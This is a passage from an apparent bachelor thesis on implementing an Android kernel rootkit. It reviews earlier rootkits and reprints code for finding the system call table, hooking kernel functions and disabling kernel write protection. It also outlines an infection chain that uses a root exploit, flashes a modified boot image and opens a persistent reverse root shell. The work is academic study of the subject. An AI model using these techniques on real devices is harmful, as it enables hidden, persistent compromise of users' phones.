the need of glibc or anything else.
• No changes in the file system.
• Full remote environment tty support, including windows size.
• Hide processes.
• Hide files.
• Hide open ports.
4.1.2 Difficulties
The SuckIt rootkit was pretty much the first of its kind and of course there
were and still are difficulties in developing rootkits which are independent
from LKM support. We will now take a look at the key features that make
this type of rootkit possible.
Accessing the System Call Table
The first difference to the common approach is the memory access. In a typi-
cal kernel module implementation it is possible to access the kernel memory
region directly, but that’s not possible from user space. As described in
section 2.4 the /dev/kmem device enables, given sufficient permissions, to
directly read from and write to the system memory, including the kernel
memory space [20].
Some Linux systems provide a System.map file, which contains a list of
all generated kernel symbols at compile time with the corresponding memory
addresses, which could be directly accessed via the kmem file, but not every
system provides this file. The same information could be obtained through
the /proc/ksyms file, but the returned memory addresses are usually hidden
for security reasons [23].
So we have access to the whole memory but no idea how to locate the
needed data segments in the memory. What we know is that all system calls
are stored in a well documented and downward compatible list of pointers
somewhere in memory, which is called when a 0x80 software interrupt occurs.
So the SuckIt rootkit uses the IDT, which is held in a CPU register (IDTR)
to obtain the memory address of the SCT as we can see in the short example
in listing 4.1, the full version can be viewed in the original article [20, 23].
4. Related Work 45
Listing 4.1: Obtain the SCT through IDTR [20]
1 // 1.) Read the IDTR.
2 asm("sidt %0" : "=m" (idtr));
3 printf("idtr base at 0x%Xn", (int)idtr.base);
4
5 // 2.) Get IDT entry for interrupt 0x80 (system call).
6 readkmem(&idt, idtr.base + 8 * 0x80, sizeof(idt));
7 sys_call_off = (idt.off2 << 16) | idt.off1;
8
9 // 3.) Get SCT address from indirect call.
10 readkmem(sc_asm, sys_call_off, CALLOFF);
11 p = (char*)memmem (sc_asm,CALLOFF, "xffx14x85", 3);
12 sct = *(unsigned*)(p + 3);
Allocate Memory
Now the rootkit is able to directly modify the SCT in memory, but we have
no address to be pointed at yet. We can’t create a function in user space
to replace a system call, because kernel functions need to be located in
kernel memory space (usually above 0xc0000000). Typically a new piece of
memory in the kernel is allocated by calling the provided library function
kmalloc(sizeof(*foobar), GFP_KERNEL), but we don’t know the address
of kmalloc or GFP_KERNEL nor do we have access to the required kernel
symbols. In addition to that we wouldn’t even be able to call the function
from user space [20].
The authors of this malware came up with a dirty but efficient way
to solve this problem. Their rootkit goes through the text section of kernel,
gathers all push calls, sorts them by occurrence. Now they have a big chance
that the kmalloc function is on the top because it’s heavily used in the
kernel. If we have managed to obtain the correct address, we still need to
know the value of GFP_KERNEL to allocate a new piece of memory. Gladly
the values usually don’t differ much in different kernel versions as we can
see in table 4.1 [20].
Kernel Version GFP_VALUE
1.0.x - 2.4.5 0x0003
2.4.5 - 2.4.x 0x01f0
Table 4.1: Linux Kernel Versions versus GFP_VALUE [20]
4. Related Work 46
Overwrite
Finally SuckIt needs to make use of the newly gained ability to allocate
memory in kernel space and replace system calls. As mentioned before, direct
calls of kmalloc are not possible from user space.
To avoid a direct call, the rootkit looks up the address of some random
(hardly used) system call. It then builds a function which just calls kmalloc
and returns the pointer to the newly allocated memory. The chosen system
call content is subsequently overwritten with the generated function code
and is executed through a 0x80 software interrupt. The original system call
is then restored [23].
We now have the ability to find and access the SCT, allocate new memory
in kernel space while calling from user space. That’s all we need to set up
and exchange system calls [20, 23]. Mission accomplished.
4.2 Suterusu
Suterusu is an open source LKM rootkit developed by Michael Coppola
starting in 2013 as a hobby project. It’s not intended for practical use but
to show how modern rootkits work. The compiled source code runs on ARM
and x86_64 architectures and is intended to work from kernel version 2.6
until 3.x. Our implementation of an Android kernel rootkit is rather similar
to this one because it already supports the ARM architecture, which is not
common for low level malware [25].
4.2.1 Features
• Binary to control rootkit from user space.
• Supports the x86_64 and ARM architecture.
• Hide processes.
• Hide files.
• Hide open ports.
• Drop to root shell.
• Keylogger.
• Wait for magic packet, download and execute file from remote server.
• Control PROMISC network flag.
• Dis-/Enable module loading.
• Hides itself on the system.
4. Related Work 47
4.2.2 Difficulties
One difficulty in the development of Suterusu was that it uses a, by the time
of development, not widely used mechanism to hijack function calls. Also
the support for different kernel versions and architectures is remarkable [25].
Function Swapping
The traditional way to redirect a function (e.g. a system call) is to replace
its pointer. This is well known and easily detectable, so Suterusu uses a
different method of function hooking. If a function needs to be replaced
its prologue is overwritten with different data to redirect every function
call from the original function to a hook. This works slightly different on
x86_64 and ARM. In our example we will take a short look at the x86_64
implementation.
Listing 4.2: Suterusu Function Hooking [25]
1 // Init new function prologue.
2 // push $addr; ret
3 memcpy(n_code, "x68x00x00x00x00xc3", HIJACK_SIZE);
4 *(unsigned long *)&n_code[1] = (unsigned long)newFunction;
5
6 // Backup old function prologue.
7 memcpy(o_code, targetFunction, HIJACK_SIZE);
8
9 // Disable write protection.
10 o_cr0 = disable_wp();
11
12 // Exchange prologue.
13 memcpy(targetFunction, n_code, HIJACK_SIZE);
14
15 // Enable write protection.
16 restore_wp(o_cr0);
As we can see in the example code in listing 4.2 first of all a shellcode buffer
with the length HIJACK_SIZE, which holds the new hook, is initialized and
loaded with the new function address. The original function code is now
backed up and stored for the restore mechanism. On the x86_64 platform
we also need to take care of the memory write protection mechanism (see
below). Finally the new function prologue code is written to the hook and
the write protection is restored.
4. Related Work 48
Memory Write Protection
This concept protects kernel text pages from being overwritten at runtime
on x86_64, but on ARM no such mechanism is present. This is achieved by
setting the bit number 16 on the control register (CR0) to zero. The example
codes at listing 4.3 and 4.4 demonstrate how the write protection is dis- and
enabled. This code is also designed to prevent race conditions by unlucky
scheduling [11–13, 25, 48, 75].
Listing 4.3: Disable Write Protection on x84_x64 [25]
1 inline unsigned long disable_wp(void)
2 {
3 unsigned long cr0;
4
5 preempt_disable();
6 barrier();
7
8 cr0 = read_cr0();
9 write_cr0(cr0 & ~X86_CR0_WP);
10 return cr0;
11 }
Listing 4.4: Enable Write Protection x84_x64 [25]
1 inline void restore_wp(unsigned long cr0)
2 {
3 write_cr0(cr0);
4
5 barrier();
6 preempt_enable_no_resched();
7 }
4.3 Android Rootkit
This nameless ARM rootkit was designed and implemented for a paper pub-
lished in the Phrack magazine by Dong-Hoon You. This paper covers two
traditional and two novel SCT hooking methods, based on the interrupt ser-
vice routine (ISR) handler in the exception vector table (EVT). The paper
itself only covers the methods used to find and modify the SCT, but there
aren’t any further rootkit features implemented [92].
4.3.1 Obtaining System Call Table
Since the system_call_table symbol is not exported anymore (see section
2.1.1), a different way of obtaining its address must be found. In this paper
two interesting ways are described.
4. Related Work 49
Exception Vector Table
If an interrupt or exception occurs on the ARM platform there is the EVT
which holds an exception handler address for the occurred exception. The
Android kernel uses a high vector table with addresses above 0xffff0000.
With an offset of 0x08 there is a four byte instruction to call the software
interrupt handler, which is stored with an offset of 0x420. As we can see in
listing 4.5 the routine first finds the address of the vector_swi (software
interrupt process execution handler) function of the high EVT in lines two
to eight and then searches for the code that handles the SCT. With some
assembly tricks, which can be looked up in detail in the paper, he figured
out that we are looking for the opcode 0xe28f8*** to calculate the offset
of the SCT as we can see in lines 11 and 12 in the listing 4.5 [92].
Listing 4.5: Obtain the SCT [92]
1 void get_sys_call_table(){
2 void *swi_addr = (long *)0xffff0008;
3 unsigned long offset = 0;
4 unsigned long *vector_swi = 0;
5 unsigned long sys_call_table = 0;
6
7 offset = ((*(long *)swi_addr) & 0xfff) + 8;
8 vector_swi = *(unsigned long *)(swi_addr + offset);
9
10 while(vector_swi++){
11 if(((*(unsigned long *)vector_swi) & 0xfffff000) == 0
xe28f8000){
12 offset = ((*(unsigned long *)vector_swi) & 0xfff) + 8;
13 sys_call_table = (void *)vector_swi + offset;
14 break;
15 }
16 }
17 }
sys_close
The code above is rather complicated, that’s why he figured out a slightly
easier way of getting the desired address. The sys_close symbol has a 0x06
offset to the sys_call_table symbol in memory. Apart from the modified
while loop with the adapted code to search for the sys_close address, the
code example in listing 4.6 is identical to the example above in listing 4.5.
This method has the obvious disadvantage that the address for sys_close
must be determined in advance [92].
4. Related Work 50
Listing 4.6: Obtain the SCT [92]
1 void get_sys_call_table(){
2 void *swi_addr = (long *)0xffff0008;
3 unsigned long offset = 0;
4 unsigned long *vector_swi = 0;
5 unsigned long sys_call_table = 0;
6
7 offset = ((*(long *)swi_addr) & 0xfff) + 8;
8 vector_swi = *(unsigned long *)(swi_addr + offset);
9
10 while(vector_swi++){
11 if(*(unsigned long *)vector_swi == &sys_close){
12 sys_call_table = (void *)vector_swi - (6 * 4);
13 break;
14 }
15 }
16 }
4.3.2 Calculating System Call Table Size
In order to make use of the obtained SCT location we also need to know
how big it is because usually we need a copy for further modifications to
gain a better protection against rootkit detection. The size of the SCT varies
between different kernel versions and platforms, so we need a way to identify
its size at runtime.
To achieve this the rootkit searches for a specific opcode (0x357****)
pattern in the vector_swi that controls the size of the SCT. From this value
the rootkit is able to calculate the total number of system calls and therefore
the size of the SCT as we can see in listing 4.7.
Listing 4.7: Calculate SCT Size [92]
1 while(vector_swi++){
2 if(((*(unsigned long *)vector_swi) & 0xffff0000) == 0xe3570000
){
3 i = 0x10 - (((*(unsigned long *)vector_swi) & 0xff00) >> 8)
4 size = ((*(unsigned long *)vector_swi) & 0xff) << (2 * i);
5 break;
6 }
7 }
4. Related Work 51
4.4 Android Modem Interception
At DEFCON 18 in 2010 another interesting paper about Android kernel
rootkits has been published. Beside the typical rootkit features like obtaining
the SCT or hiding itself the system calls are used as a kind of a debugging
system to see where we can get from there.
The system calls sys_read, sys_write, sys_close and sys_open are
intercepted and printed to the kernel debug log to obtain this logging be-
haviour. He then scans the logs and finds out that the kernel communicates
with the integrated mobile modem in plaintext through system calls as we
can see below in the kernel log dump in listing 4.8 and 4.8.
Listing 4.8: Incoming Call [68]
1 <6>sys_read: AT+CLCCc:13371585907841334111",129
Listing 4.9: Outgoing Call [68]
1 <4>sys_write: ATD+442073734841;
This opens the possibility to intercept the modem communication from a
kernel rootkit by modifying the AT buffer. Mobile devices are almost always
on and connected to the internet which could be used to establish a reverse
shell with parameters received via text message without even passing them
to the operating system. Another scenario is to call premium rate numbers
from the kernel, when the user is inactive on the phone, if we were about to
do something evil [68].
Chapter 5
Implementation
We now have a rough overview of which subsystems the Linux kernel consists
of and how kernel modules work. We also took a look at the Android specific
kernel features and also discussed how other rootkits manage to work as they
are intended to. We will now work out step by step how to build and run
a kernel with module support for a given device, how the implementation
works and how we could infect a device by using a root exploit. At the end of
this chapter we will discuss miscellaneous problems occurred while working
on this project. The whole process from setting up the system, obtaining
the kernel sources, building and executing the modified kernel and also the
build and execution of the exploit and kernel rootkit are explained in depth
on the provided DVD.
5.1 Concept
The goal of this project is to design and implement a system that allows to
inject a Linux kernel rootkit to a stock Google Nexus 5 device. This kernel
module needs to offer the ability to hide PIDs, files and ports from user
space. A nice to have is a feature to gain root permissions by just asking the
rootkit for it. In this chapter we will discuss the architecture of this project.
We will take a closer look at both the over-all structure of the whole setup
and the core of the project - the kernel rootkit.
5.1.1 System Architecture
On the hardware side there are two devices involved. First we have the
Android victim device, which is in our case a Nexus 5. On the other hand
we have a server, which will provide the relevant data to modify the kernel.
They both communicate over a wireless network connection as we can see
in figure 5.1.
52
5. Implementation 53
Network
Netcat Server
Nexus 5
Load boot.img
Figure 5.1: System Architecture
The victim device is infected using a simple Android application package
(APK) which has to be installed beforehand. First of all the user needs to
run the provided APK as we can see in figure 5.2. The APK itself contains a
root exploit for the running Linux kernel version, some binary tools and the
kernel rootkit. To stay portable the modified kernel isn’t statically included,
but fetched from the remote server during runtime. But more details on this
later in section 5.1.4.
Run APK
Gain Root
-> Exploit
Unpack Helper
Binaries
Load boot.img
from Server
Reboot
Prepare Startup
Scripts
Place RootkitFlash boot.img
Kernel Module is
Loaded
Reverse Shell is
Established
Wait for
Commands
Figure 5.2: General Flow Chart
After the environment is set up, the application will search for a server to
download a modified boot.img from. When it is successfully retrieved it
will then be written to the boot partition of the device to make the changes
5. Implementation 54
persistent. Then a few initialization scripts will be placed to load the kernel
module on boot and establish a reverse shell.
At the next boot the rootkit will be loaded into the kernel and a re-
verse root shell will be established to the server. From now on the device is
persistently infected. The rootkit has now the chance to hide itself and the
generated files from the users view before it starts waiting for instructions
to execute. Without root permissions the user shouldn’t be able to spot the
difference to a clean system.
5.1.2 Kernel Rootkit
The kernel module is the core part of the whole project. We will use a similar
technique as Suterusu (see section 4.2) to hijack the system. But first of all
we need to develop a general idea of what to do.
When a kernel module is loaded, a special function is called to set things
up. As we can see in figure 5.3 we first need to prepare some hooks in the
kernel to provide the functionality of hiding PIDs, files and ports. When
the initialization is done, a communication interface needs to be created to
send further instructions to the rootkit. Once the setup process is done the
module will wait for further instructions sent through the communication
interface or being unloaded.
Create
Communication
Interface
Load Prepare Hooks
Wait for
Commands
Figure 5.3: Load Kernel Rootkit Flow Chart
It is also possible to safely unload the module. Again a specially prepared
function is executed which takes care of this scenario. As we can see in figure
5.4 the module will first find and remove active hooks. All hidden resources
will be unhidden before removing the hooks and restore the original state of
all kernel data structures. When this is done the communication interface
to user space is removed and the module is safely exited.
Remove
Communication
Interface
Unload
Remove Active
Hooks
Exit
Figure 5.4: Unload Kernel Rootkit Flow Chart
BA1_Breitenfellner_RC4
BA1_Breitenfellner_RC4
BA1_Breitenfellner_RC4
BA1_Breitenfellner_RC4
BA1_Breitenfellner_RC4
BA1_Breitenfellner_RC4
BA1_Breitenfellner_RC4
BA1_Breitenfellner_RC4
BA1_Breitenfellner_RC4
BA1_Breitenfellner_RC4
BA1_Breitenfellner_RC4
BA1_Breitenfellner_RC4
BA1_Breitenfellner_RC4
BA1_Breitenfellner_RC4
BA1_Breitenfellner_RC4
BA1_Breitenfellner_RC4
BA1_Breitenfellner_RC4
BA1_Breitenfellner_RC4
BA1_Breitenfellner_RC4
BA1_Breitenfellner_RC4
BA1_Breitenfellner_RC4
BA1_Breitenfellner_RC4
BA1_Breitenfellner_RC4
BA1_Breitenfellner_RC4
BA1_Breitenfellner_RC4
BA1_Breitenfellner_RC4
BA1_Breitenfellner_RC4
BA1_Breitenfellner_RC4
BA1_Breitenfellner_RC4
BA1_Breitenfellner_RC4
BA1_Breitenfellner_RC4
BA1_Breitenfellner_RC4
BA1_Breitenfellner_RC4
BA1_Breitenfellner_RC4
BA1_Breitenfellner_RC4
BA1_Breitenfellner_RC4
BA1_Breitenfellner_RC4
BA1_Breitenfellner_RC4
BA1_Breitenfellner_RC4
BA1_Breitenfellner_RC4
BA1_Breitenfellner_RC4
BA1_Breitenfellner_RC4

Más contenido relacionado

La actualidad más candente

Designing Countermeasures For Tomorrows Threats : Documentation
Designing Countermeasures For Tomorrows Threats : DocumentationDesigning Countermeasures For Tomorrows Threats : Documentation
Designing Countermeasures For Tomorrows Threats : DocumentationDarwish Ahmad
 
Automation using tivoli net view os 390 v1r3 and system automation os-390 v1r...
Automation using tivoli net view os 390 v1r3 and system automation os-390 v1r...Automation using tivoli net view os 390 v1r3 and system automation os-390 v1r...
Automation using tivoli net view os 390 v1r3 and system automation os-390 v1r...Banking at Ho Chi Minh city
 
Ibm tivoli monitoring for network performance v2.1 the mainframe network mana...
Ibm tivoli monitoring for network performance v2.1 the mainframe network mana...Ibm tivoli monitoring for network performance v2.1 the mainframe network mana...
Ibm tivoli monitoring for network performance v2.1 the mainframe network mana...Banking at Ho Chi Minh city
 
programación en prolog
programación en prologprogramación en prolog
programación en prologAlex Pin
 
Nvidia CUDA Programming Guide 1.0
Nvidia CUDA Programming Guide 1.0Nvidia CUDA Programming Guide 1.0
Nvidia CUDA Programming Guide 1.0Muhaza Liebenlito
 
Memory synthesis using_ai_methods
Memory synthesis using_ai_methodsMemory synthesis using_ai_methods
Memory synthesis using_ai_methodsGabriel Mateescu
 
Zend framework tutorial
Zend framework tutorialZend framework tutorial
Zend framework tutorialOlsi Zotaj
 
Certification study guide for ibm tivoli configuration manager 4.2 redp3946
Certification study guide for ibm tivoli configuration manager 4.2 redp3946Certification study guide for ibm tivoli configuration manager 4.2 redp3946
Certification study guide for ibm tivoli configuration manager 4.2 redp3946Banking at Ho Chi Minh city
 
The C Preprocessor
The C PreprocessorThe C Preprocessor
The C Preprocessoriuui
 
Ibm tivoli storage manager in a clustered environment sg246679
Ibm tivoli storage manager in a clustered environment sg246679Ibm tivoli storage manager in a clustered environment sg246679
Ibm tivoli storage manager in a clustered environment sg246679Banking at Ho Chi Minh city
 
Implementing the ibm system storage san32 b e4 encryption switch - sg247922
Implementing the ibm system storage san32 b e4 encryption switch - sg247922Implementing the ibm system storage san32 b e4 encryption switch - sg247922
Implementing the ibm system storage san32 b e4 encryption switch - sg247922Banking at Ho Chi Minh city
 
My cool new Slideshow!
My cool new Slideshow!My cool new Slideshow!
My cool new Slideshow!Kislay Raj
 

La actualidad más candente (19)

Designing Countermeasures For Tomorrows Threats : Documentation
Designing Countermeasures For Tomorrows Threats : DocumentationDesigning Countermeasures For Tomorrows Threats : Documentation
Designing Countermeasures For Tomorrows Threats : Documentation
 
Tutorial
TutorialTutorial
Tutorial
 
Automation using tivoli net view os 390 v1r3 and system automation os-390 v1r...
Automation using tivoli net view os 390 v1r3 and system automation os-390 v1r...Automation using tivoli net view os 390 v1r3 and system automation os-390 v1r...
Automation using tivoli net view os 390 v1r3 and system automation os-390 v1r...
 
AIX 5L Differences Guide Version 5.3 Edition
AIX 5L Differences Guide Version 5.3 EditionAIX 5L Differences Guide Version 5.3 Edition
AIX 5L Differences Guide Version 5.3 Edition
 
zend framework 2
zend framework 2zend framework 2
zend framework 2
 
Swi prolog-6.2.6
Swi prolog-6.2.6Swi prolog-6.2.6
Swi prolog-6.2.6
 
Rapidminer 4.4-tutorial
Rapidminer 4.4-tutorialRapidminer 4.4-tutorial
Rapidminer 4.4-tutorial
 
Ibm tivoli monitoring for network performance v2.1 the mainframe network mana...
Ibm tivoli monitoring for network performance v2.1 the mainframe network mana...Ibm tivoli monitoring for network performance v2.1 the mainframe network mana...
Ibm tivoli monitoring for network performance v2.1 the mainframe network mana...
 
programación en prolog
programación en prologprogramación en prolog
programación en prolog
 
Report-V1.5_with_comments
Report-V1.5_with_commentsReport-V1.5_with_comments
Report-V1.5_with_comments
 
Nvidia CUDA Programming Guide 1.0
Nvidia CUDA Programming Guide 1.0Nvidia CUDA Programming Guide 1.0
Nvidia CUDA Programming Guide 1.0
 
Memory synthesis using_ai_methods
Memory synthesis using_ai_methodsMemory synthesis using_ai_methods
Memory synthesis using_ai_methods
 
Zend framework tutorial
Zend framework tutorialZend framework tutorial
Zend framework tutorial
 
Certification study guide for ibm tivoli configuration manager 4.2 redp3946
Certification study guide for ibm tivoli configuration manager 4.2 redp3946Certification study guide for ibm tivoli configuration manager 4.2 redp3946
Certification study guide for ibm tivoli configuration manager 4.2 redp3946
 
The C Preprocessor
The C PreprocessorThe C Preprocessor
The C Preprocessor
 
Ibm tivoli storage manager in a clustered environment sg246679
Ibm tivoli storage manager in a clustered environment sg246679Ibm tivoli storage manager in a clustered environment sg246679
Ibm tivoli storage manager in a clustered environment sg246679
 
Implementing the ibm system storage san32 b e4 encryption switch - sg247922
Implementing the ibm system storage san32 b e4 encryption switch - sg247922Implementing the ibm system storage san32 b e4 encryption switch - sg247922
Implementing the ibm system storage san32 b e4 encryption switch - sg247922
 
My cool new Slideshow!
My cool new Slideshow!My cool new Slideshow!
My cool new Slideshow!
 
Parallel sysplex
Parallel sysplexParallel sysplex
Parallel sysplex
 

Destacado

Estrategia_Estatal_Innovación Documento naciones unidas innovacion
Estrategia_Estatal_Innovación Documento naciones unidas innovacionEstrategia_Estatal_Innovación Documento naciones unidas innovacion
Estrategia_Estatal_Innovación Documento naciones unidas innovacionEstrategia Estatal de Innovación
 
Gatos de raza
Gatos de razaGatos de raza
Gatos de razaangel1756
 
14 odt 002_sample_creative_pres_v01
14 odt 002_sample_creative_pres_v0114 odt 002_sample_creative_pres_v01
14 odt 002_sample_creative_pres_v01Alexandra Watson
 
Bolas caracterizadas para valvulas motorizadas
Bolas caracterizadas para valvulas motorizadasBolas caracterizadas para valvulas motorizadas
Bolas caracterizadas para valvulas motorizadasPlastomatic valves
 
Communicate Your Message Using Media
Communicate Your Message Using MediaCommunicate Your Message Using Media
Communicate Your Message Using MediaBobby Dodd
 
Framework conditions for the integration of flexibility options
Framework conditions for the integration of flexibility options Framework conditions for the integration of flexibility options
Framework conditions for the integration of flexibility options Leonardo ENERGY
 
Manual básico de Easypromos
Manual básico de EasypromosManual básico de Easypromos
Manual básico de EasypromosManualeSmmUs
 
Dossier música a la publicitat
Dossier música a la publicitatDossier música a la publicitat
Dossier música a la publicitatescolaribatallada
 
Línea de Crédito Global Municipal
Línea de Crédito Global MunicipalLínea de Crédito Global Municipal
Línea de Crédito Global Municipalsecof
 
Mount Isa Mines 11kV Protection Relays Upgrade
Mount Isa Mines 11kV Protection Relays UpgradeMount Isa Mines 11kV Protection Relays Upgrade
Mount Isa Mines 11kV Protection Relays UpgradeGary Hayes
 

Destacado (20)

SteelWorksHDGBolts_r2
SteelWorksHDGBolts_r2SteelWorksHDGBolts_r2
SteelWorksHDGBolts_r2
 
Estrategia_Estatal_Innovación Documento naciones unidas innovacion
Estrategia_Estatal_Innovación Documento naciones unidas innovacionEstrategia_Estatal_Innovación Documento naciones unidas innovacion
Estrategia_Estatal_Innovación Documento naciones unidas innovacion
 
Gudy window
Gudy windowGudy window
Gudy window
 
Gatos de raza
Gatos de razaGatos de raza
Gatos de raza
 
14 odt 002_sample_creative_pres_v01
14 odt 002_sample_creative_pres_v0114 odt 002_sample_creative_pres_v01
14 odt 002_sample_creative_pres_v01
 
A2k4 usuario
A2k4 usuarioA2k4 usuario
A2k4 usuario
 
Bolas caracterizadas para valvulas motorizadas
Bolas caracterizadas para valvulas motorizadasBolas caracterizadas para valvulas motorizadas
Bolas caracterizadas para valvulas motorizadas
 
Communicate Your Message Using Media
Communicate Your Message Using MediaCommunicate Your Message Using Media
Communicate Your Message Using Media
 
Framework conditions for the integration of flexibility options
Framework conditions for the integration of flexibility options Framework conditions for the integration of flexibility options
Framework conditions for the integration of flexibility options
 
Que es el mouse
Que es el mouseQue es el mouse
Que es el mouse
 
Catálogo lentes oscuros
Catálogo lentes oscurosCatálogo lentes oscuros
Catálogo lentes oscuros
 
Manual básico de Easypromos
Manual básico de EasypromosManual básico de Easypromos
Manual básico de Easypromos
 
Dossier música a la publicitat
Dossier música a la publicitatDossier música a la publicitat
Dossier música a la publicitat
 
Cuadro de costumbre
Cuadro de costumbreCuadro de costumbre
Cuadro de costumbre
 
Línea de Crédito Global Municipal
Línea de Crédito Global MunicipalLínea de Crédito Global Municipal
Línea de Crédito Global Municipal
 
El libro Alquimico de Jesus
El libro Alquimico de JesusEl libro Alquimico de Jesus
El libro Alquimico de Jesus
 
Mount Isa Mines 11kV Protection Relays Upgrade
Mount Isa Mines 11kV Protection Relays UpgradeMount Isa Mines 11kV Protection Relays Upgrade
Mount Isa Mines 11kV Protection Relays Upgrade
 
Cliente 2.033
Cliente 2.033Cliente 2.033
Cliente 2.033
 
Modelo europass cv template-es_es
Modelo europass cv template-es_esModelo europass cv template-es_es
Modelo europass cv template-es_es
 
Clase4_Python-CTIC
Clase4_Python-CTICClase4_Python-CTIC
Clase4_Python-CTIC
 

Similar a BA1_Breitenfellner_RC4

eclipse.pdf
eclipse.pdfeclipse.pdf
eclipse.pdfPerPerso
 
Report on e-Notice App (An Android Application)
Report on e-Notice App (An Android Application)Report on e-Notice App (An Android Application)
Report on e-Notice App (An Android Application)Priyanka Kapoor
 
Manual de usuario de virtualbox
Manual de  usuario de virtualboxManual de  usuario de virtualbox
Manual de usuario de virtualboxRuben A Lozada S
 
Deployment guide series ibm total storage productivity center for data sg247140
Deployment guide series ibm total storage productivity center for data sg247140Deployment guide series ibm total storage productivity center for data sg247140
Deployment guide series ibm total storage productivity center for data sg247140Banking at Ho Chi Minh city
 
Ibm system z in a mobile world providing secure and timely mobile access to...
Ibm system z in a mobile world   providing secure and timely mobile access to...Ibm system z in a mobile world   providing secure and timely mobile access to...
Ibm system z in a mobile world providing secure and timely mobile access to...bupbechanhgmail
 
Deployment guide series ibm tivoli composite application manager for web reso...
Deployment guide series ibm tivoli composite application manager for web reso...Deployment guide series ibm tivoli composite application manager for web reso...
Deployment guide series ibm tivoli composite application manager for web reso...Banking at Ho Chi Minh city
 
Deployment guide series ibm tivoli composite application manager for web reso...
Deployment guide series ibm tivoli composite application manager for web reso...Deployment guide series ibm tivoli composite application manager for web reso...
Deployment guide series ibm tivoli composite application manager for web reso...Banking at Ho Chi Minh city
 
VirtualBox - User manual
VirtualBox - User manualVirtualBox - User manual
VirtualBox - User manualMariana Hiyori
 
Automatic Detection of Performance Design and Deployment Antipatterns in Comp...
Automatic Detection of Performance Design and Deployment Antipatterns in Comp...Automatic Detection of Performance Design and Deployment Antipatterns in Comp...
Automatic Detection of Performance Design and Deployment Antipatterns in Comp...Trevor Parsons
 
AUGUMENTED REALITY FOR SPACE.pdf
AUGUMENTED REALITY FOR SPACE.pdfAUGUMENTED REALITY FOR SPACE.pdf
AUGUMENTED REALITY FOR SPACE.pdfjeevanbasnyat1
 
Kali Linux Revealed - Mastering the Penetration Testing (Raphaël Hertzog, Jim...
Kali Linux Revealed - Mastering the Penetration Testing (Raphaël Hertzog, Jim...Kali Linux Revealed - Mastering the Penetration Testing (Raphaël Hertzog, Jim...
Kali Linux Revealed - Mastering the Penetration Testing (Raphaël Hertzog, Jim...SomiMukerjee
 
Anomaly_Analysis_of_OpenStack_Firewall_Polices_Report
Anomaly_Analysis_of_OpenStack_Firewall_Polices_ReportAnomaly_Analysis_of_OpenStack_Firewall_Polices_Report
Anomaly_Analysis_of_OpenStack_Firewall_Polices_ReportCiaran McDonald
 

Similar a BA1_Breitenfellner_RC4 (20)

eclipse.pdf
eclipse.pdfeclipse.pdf
eclipse.pdf
 
Report on e-Notice App (An Android Application)
Report on e-Notice App (An Android Application)Report on e-Notice App (An Android Application)
Report on e-Notice App (An Android Application)
 
WenFei2022.pdf
WenFei2022.pdfWenFei2022.pdf
WenFei2022.pdf
 
Manual de usuario de virtualbox
Manual de  usuario de virtualboxManual de  usuario de virtualbox
Manual de usuario de virtualbox
 
PhD-2013-Arnaud
PhD-2013-ArnaudPhD-2013-Arnaud
PhD-2013-Arnaud
 
Deployment guide series ibm total storage productivity center for data sg247140
Deployment guide series ibm total storage productivity center for data sg247140Deployment guide series ibm total storage productivity center for data sg247140
Deployment guide series ibm total storage productivity center for data sg247140
 
Ibm system z in a mobile world providing secure and timely mobile access to...
Ibm system z in a mobile world   providing secure and timely mobile access to...Ibm system z in a mobile world   providing secure and timely mobile access to...
Ibm system z in a mobile world providing secure and timely mobile access to...
 
Deployment guide series ibm tivoli composite application manager for web reso...
Deployment guide series ibm tivoli composite application manager for web reso...Deployment guide series ibm tivoli composite application manager for web reso...
Deployment guide series ibm tivoli composite application manager for web reso...
 
Deployment guide series ibm tivoli composite application manager for web reso...
Deployment guide series ibm tivoli composite application manager for web reso...Deployment guide series ibm tivoli composite application manager for web reso...
Deployment guide series ibm tivoli composite application manager for web reso...
 
Redp4469
Redp4469Redp4469
Redp4469
 
IBM Streams - Redbook
IBM Streams - RedbookIBM Streams - Redbook
IBM Streams - Redbook
 
VirtualBox - User manual
VirtualBox - User manualVirtualBox - User manual
VirtualBox - User manual
 
z_remy_spaan
z_remy_spaanz_remy_spaan
z_remy_spaan
 
Automatic Detection of Performance Design and Deployment Antipatterns in Comp...
Automatic Detection of Performance Design and Deployment Antipatterns in Comp...Automatic Detection of Performance Design and Deployment Antipatterns in Comp...
Automatic Detection of Performance Design and Deployment Antipatterns in Comp...
 
AUGUMENTED REALITY FOR SPACE.pdf
AUGUMENTED REALITY FOR SPACE.pdfAUGUMENTED REALITY FOR SPACE.pdf
AUGUMENTED REALITY FOR SPACE.pdf
 
E.M._Poot
E.M._PootE.M._Poot
E.M._Poot
 
Kali Linux Revealed - Mastering the Penetration Testing (Raphaël Hertzog, Jim...
Kali Linux Revealed - Mastering the Penetration Testing (Raphaël Hertzog, Jim...Kali Linux Revealed - Mastering the Penetration Testing (Raphaël Hertzog, Jim...
Kali Linux Revealed - Mastering the Penetration Testing (Raphaël Hertzog, Jim...
 
Anomaly_Analysis_of_OpenStack_Firewall_Polices_Report
Anomaly_Analysis_of_OpenStack_Firewall_Polices_ReportAnomaly_Analysis_of_OpenStack_Firewall_Polices_Report
Anomaly_Analysis_of_OpenStack_Firewall_Polices_Report
 
Java
JavaJava
Java
 
Sg246776
Sg246776Sg246776
Sg246776
 

BA1_Breitenfellner_RC4

  • 1. Implementation of an Android Kernel Rootkit for Unrooted Stock Images Marcel Breitenfellner B A C H E L O R A R B E I T Nr. S1310237008-A eingereicht am Fachhochschul-Bachelorstudiengang Mobile Computing in Hagenberg im Juni 2016
  • 2. Diese Arbeit entstand im Rahmen des Gegenstands Sicherheit in mobilen Systemen im Sommersemester 2016 Betreuer: Dr. Erik Sonnleitner ii
  • 3. Declaration I hereby declare and confirm that this thesis is entirely the result of my own original work. Where other sources of information have been used, they have been indicated as such and properly acknowledged. I further declare that this or similar work has not been submitted for credit elsewhere. Hagenberg, June 15, 2016 Marcel Breitenfellner iii
